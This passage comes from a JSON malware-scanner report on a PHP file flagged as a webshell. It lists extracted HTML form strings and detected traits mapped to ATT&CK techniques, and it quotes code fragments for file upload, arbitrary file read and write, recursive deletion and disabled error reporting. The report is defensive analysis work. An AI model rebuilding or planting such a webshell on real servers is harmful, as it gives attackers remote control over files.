            "\"\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"edit\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e"
          ],
          [
            4852,
            "\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"edit\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e"
          ],
          [
            4990,
            "\u003c/center\u003e"
          ],
          [
            4991,
            "\u003c/center\u003e"
          ],
          [
            5021,
            "\u003c/table\u003e\u003cbr /\u003e\u003ccenter\u003e"
          ],
          [
            5022,
            "\u003c/table\u003e\u003cbr /\u003e\u003ccenter\u003e"
          ],
          [
            5067,
            "option"
          ],
          [
            5068,
            "option"
          ],
          [
            5088,
            "opt"
          ],
          [
            5089,
            "opt"
          ],
          [
            5098,
            "delete"
          ],
          [
            5099,
            "delete"
          ],
          [
            5128,
            "type"
          ],
          [
            5129,
            "type"
          ],
          [
            5139,
            "dir"
          ],
          [
            5140,
            "dir"
          ],
          [
            5176,
            "path"
          ],
          [
            5177,
            "path"
          ],
          [
            5209,
            "\u003cfont color=\"green\"\u003eDelete Dir Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5210,
            "\u003cfont color=\"green\"\u003eDelete Dir Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5304,
            "\u003cfont color=\"red\"\u003eDelete Dir Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5305,
            "\u003cfont color=\"red\"\u003eDelete Dir Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5395,
            "type"
          ],
          [
            5396,
            "type"
          ],
          [
            5406,
            "file"
          ],
          [
            5407,
            "file"
          ],
          [
            5445,
            "path"
          ],
          [
            5446,
            "path"
          ],
          [
            5478,
            "\u003cfont color=\"green\"\u003eDelete File Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5479,
            "\u003cfont color=\"green\"\u003eDelete File Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5574,
            "\u003cfont color=\"red\"\u003eDelete File Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5575,
            "\u003cfont color=\"red\"\u003eDelete File Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            5670,
            "\u003c/center\u003e"
          ],
          [
            5671,
            "\u003c/center\u003e"
          ],
          [
            5725,
            "\u003cdiv id=\"content\"\u003e\u003ctable width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"\u003e\r\n    \u003ctr class=\"first\"\u003e\r\n       "
          ],
          [
            5726,
            "\u003cdiv id=\"content\"\u003e\u003ctable width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"\u003e\r\n    \u003ctr class=\"first\"\u003e\r\n       "
          ],
          [
            6083,
            "$path/$dir"
          ],
          [
            6089,
            "/"
          ],
          [
            6108,
            "."
          ],
          [
            6109,
            "."
          ],
          [
            6123,
            ".."
          ],
          [
            6124,
            ".."
          ],
          [
            6153,
            "\u003ctr\u003e\r\n        \u003ctd\u003e\u003ca href=\\\"?path=$path/$dir\\\"\u003e$dir\u003c/a\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e--\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e"
          ],
          [
            6154,
            "\u003ctr\u003e\r\n        \u003ctd\u003e\u003ca href="
          ],
          [
            6182,
            "?path="
          ],
          [
            6193,
            "/"
          ],
          [
            6200,
            "\u003e"
          ],
          [
            6205,
            "\u003c/a\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e--\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e"
          ],
          [
            6301,
            "$path/$dir"
          ],
          [
            6307,
            "/"
          ],
          [
            6321,
            "\u003cfont color=\"green\"\u003e"
          ],
          [
            6322,
            "\u003cfont color=\"green\"\u003e"
          ],
          [
            6374,
            "$path/$dir"
          ],
          [
            6380,
            "/"
          ],
          [
            6394,
            "\u003cfont color=\"red\"\u003e"
          ],
          [
            6395,
            "\u003cfont color=\"red\"\u003e"
          ],
          [
            6436,
            "$path/$dir"
          ],
          [
            6442,
            "/"
          ],
          [
            6475,
            "$path/$dir"
          ],
          [
            6481,
            "/"
          ],
          [
            6505,
            "$path/$dir"
          ],
          [
            6511,
            "/"
          ],
          [
            6525,
            "\u003c/font\u003e"
          ],
          [
            6526,
            "\u003c/font\u003e"
          ],
          [
            6560,
            "\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e\u003cform method=\\\"POST\\\" action=\\\"?option\u0026path=$path\\\"\u003e\r\n        \u003cselect name=\\\"opt\\\"\u003e\r\n\t    \u003co"
          ],
          [
            6561,
            "\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e\u003cform method="
          ],
          [
            6612,
            "POST"
          ],
          [
            6618,
            " action="
          ],
          [
            6628,
            "?option\u0026path="
          ],
          [
            6648,
            "\u003e\r\n        \u003cselect name="
          ],
          [
            6674,
            "opt"
          ],
          [
            6679,
            "\u003e\r\n\t    \u003coption value="
          ],
          [
            6705,
            "\u003e\u003c/option\u003e\r\n        \u003coption value="
          ],
          [
            6741,
            "delete"
          ],
          [
            6749,
            "\u003eDelete\u003c/option\u003e\r\n        \u003coption value="
          ],
          [
            6791,
            "chmod"
          ],
          [
            6798,
            "\u003eChmod\u003c/option\u003e\r\n        \u003coption value="
          ],
          [
            6839,
            "rename"
          ],
          [
            6847,
            "\u003eRename\u003c/option\u003e\r\n        \u003c/select\u003e\r\n        \u003cinput type="
          ],
          [
            6906,
            "hidden"
          ],
          [
            6914,
            " name="
          ],
          [
            6922,
            "type"
          ]
        ],
        "sz": 10143,
        "ts": [
          {
            "c": 0.699999988079071,
            "d": "PHP error suppression operator usage",
            "e": [
              "@copy($_FILES[\"f\"][\"tmp_name\"],$_FILES[\"f\"][\"name\"])"
            ],
            "i": "micro-behaviors/os/stdio::error-suppress-prefix",
            "l": 3
          },
          {
            "a": "T1059",
            "c": 0.8500000238418579,
            "d": "HTTP GET parameter access ($_GET)",
            "e": [
              "$_GET"
            ],
            "i": "micro-behaviors/communications/http/request/params::get-dup",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "URL parameter fetched and executed",
            "e": [
              "htmlspecialchars(file_get_contents($_GET['filesrc']))",
              "file_get_contents($_GET['filesrc'])",
              "file_get_contents($_POST['path'])",
              "fopen($_POST['path'],'w')",
              "htmlspecialchars(file_get_contents($_POST['path']))"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/fetch::url-param-fetch",
            "l": 4,
            "m": "B0030"
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 298.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.4000000059604645,
            "d": "PHP $_GET parameter access",
            "e": [
              "$_GET["
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-get",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1485",
            "c": 0.8500000238418579,
            "d": "Targets source code directory",
            "e": [
              "\"src\""
            ],
            "i": "objectives/impact/wipe/disk/mass-delete::target-src",
            "l": 1
          },
          {
            "a": "T1222",
            "c": 0.699999988079071,
            "d": "Changes file permissions via chmod()",
            "e": [
              "chmod"
            ],
            "i": "micro-behaviors/fs/chmod/modify::chmod-call",
            "l": 3
          },
          {
            "c": 0.949999988079071,
            "d": "Disables error reporting (error_reporting(0))",
            "e": [
              "error_reporting(0)"
            ],
            "i": "micro-behaviors/os/stdio::error-reporting-off",
            "l": 3
          },
          {
            "a": "T1083",
            "c": 1.0,
            "d": "Iterate directory contents via functions in PHP",
            "e": [
              "scandir("
            ],
            "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn",
            "l": 2
          },
          {
            "a": "T1546",
            "c": 1.0,
            "d": "Writes data to a file via functions",
            "e": [
              "fopen("
            ],
            "i": "micro-behaviors/fs/file/write/direct::php-file-write-func",
            "l": 2
          },
          {
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "method="
            ],
            "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-3",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.8199999928474426,
            "d": "Detects overwrite-mode file open",
            "e": [
              "fopen($_POST['path'],'w'"
            ],
            "i": "objectives/impact/infect/script::php-overwrite-file-mode",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Writes data to an open file",
            "e": [
              "fwrite"
            ],
            "i": "micro-behaviors/fs/write/file/direct::fwrite",
            "l": 3,
            "m": "C0052"
          },
          {
            "a": "T1505.003",
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "file_get_contents"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 1.0,
            "d": "PHP unlink function symbol",
            "e": [
              "unlink"
            ],
            "i": "micro-behaviors/fs/delete/file::php-unlink",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "Detects PHP rename file recreation call",
            "e": [
              "rename"
            ],
            "i": "objectives/impact/infect/script::php-rename-call",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 1.0,
            "d": "Inequality check in WordPress user list",
            "e": [
              "!="
            ],
            "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "c": 0.8500000238418579,
            "d": "PHP request superglobal access",
            "e": [
              "$_POST"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call",
            "l": 3,
            "m": "B0030"
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "File upload access ($_FILES)",
            "e": [
              "$_FILES"
            ],
            "i": "micro-behaviors/communications/http/request/params::files",
            "l": 3
          },
          {
            "a": "T1059",
            "c": 0.8500000238418579,
            "d": "HTTP POST parameter access ($_POST)",
            "e": [
              "$_POST"
            ],
            "i": "micro-behaviors/communications/http/request/params::post-dup",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 0.4000000059604645,
            "d": "PHP $_POST parameter access",
            "e": [
              "$_POST["
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-post",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1071.001",
            "c": 0.699999988079071,
            "d": "HTTP POST method",
            "e": [
              "\"POST\""
            ],
            "i": "micro-behaviors/communications/http/post::post",
            "l": 1,
            "m": "C0002"
          },
          {
            "c": 0.8399999737739563,
            "d": "Regex component marker",
            "e": [
              "\u003cfont color=\"red\"\u003eFile Upload Error.\u003c/font\u003e\u003cbr /\u003e",
              "\u003cform enctype=\"multipart/form-data\" method=\"POST\"\u003e\r\nUpload File : \u003cinput type=\"file\" name=\"file\" /\u003e\r\n\u003cinput type=\"submit\" value=",
              "\u003cfont color=\"green\"\u003eFile Upload Done.\u003c/font\u003e\u003cbr /\u003e"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-11",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Detects PHP copy file recreation call",
            "e": [
              "copy"
            ],
            "i": "objectives/impact/infect/script::php-copy-call",
            "l": 1
          },
          {
            "c": 0.7599999904632568,
            "d": "Regex component marker",
            "e": [
              "directory"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-21",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 974.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.6000000238418579,
            "d": "enctype attribute",
            "e": [
              "enctype="
            ],
            "i": "micro-behaviors/communications/http/post::enctype-attr",
            "l": 3,
            "m": "C0002"
          },
          {
            "c": 1.0,
            "d": "PHP rmdir function symbol",
            "e": [
              "rmdir"
            ],
            "i": "micro-behaviors/fs/delete/directory::php-rmdir",
            "l": 3
          },
          {
            "c": 1.0,
            "d": "PHP scandir function symbol",
            "e": [
              "scandir"
            ],
            "i": "micro-behaviors/fs/enumerate/directory::php-scandir",
            "l": 3
          },
          {
            "c": 0.8500000238418579,
            "d": "Removes PHP script execution time limit",
            "e": [
              "set_time_limit(0)"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/session::unlimited-runtime-call",
            "l": 4
          },
          {
            "c": 0.699999988079071,
            "d": "AJAX request handler pattern",
            "e": [
              "$_GET[\"rhs334\"]",
              "$_POST[\"v\"]",
              "$_GET['path']",
              "$_GET['filesrc']",
              "$_POST['opt']",
              "$_POST[$key]",
              "$_POST['perm']",
              "$_POST['path']",
              "$_GET['option']"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/ui::ajax-handler",
            "l": 4,
            "m": "B0030"
          },
          {
            "c": 0.699999988079071,
            "d": "Remove execution time limit",
            "e": [
              "set_time_limit"
            ],
            "i": "micro-behaviors/process/control/signal::set-time-limit",
            "l": 3
          },
          {
            "a": "T1071.001",
            "c": 0.6000000238418579,
            "d": "multipart/form-data content type",
            "e": [
              "multipart/form-data"
            ],
            "i": "micro-behaviors/communications/http/post::multipart-form",
            "l": 1,
            "m": "C0002"
          },
          {
            "a": "T1070.004",
            "c": 1.0,
            "d": "Recursive directory cleanup in PHP",
            "e": [
              "unlink",
              "scandir",
              "rmdir"
            ],
            "i": "objectives/evasion/self-delete/scripts::php-recursive-delete",
            "l": 4
          },
          {
            "a": "T1566.002",
            "c": 0.8500000238418579,
            "d": "PHP script writing POST data to local file",
            "e": [
              "$_POST"
            ],
            "i": "objectives/credential-access/phishing/tactics::php-credential-exfiltration",
            "l": 4,
            "m": "B0030"
          },
          {
            "c": 1.0,
            "d": "php code embedded in string",
            "e": [
              "Detected php at offset 0x0"
            ],
            "i": "metadata/lang/embedded::php",
            "l": 2
          }
        ],
        "sha": "631bd98acf9af6339d0c819e42609b932fece3abab2b145bd0ecfb23f3c3b0e3",
        "path": "2ee5a2a619902fdadbba8e508a4e25b4",
        "type": "php"
      }
    ],
    "tv": "bef72"
  }
}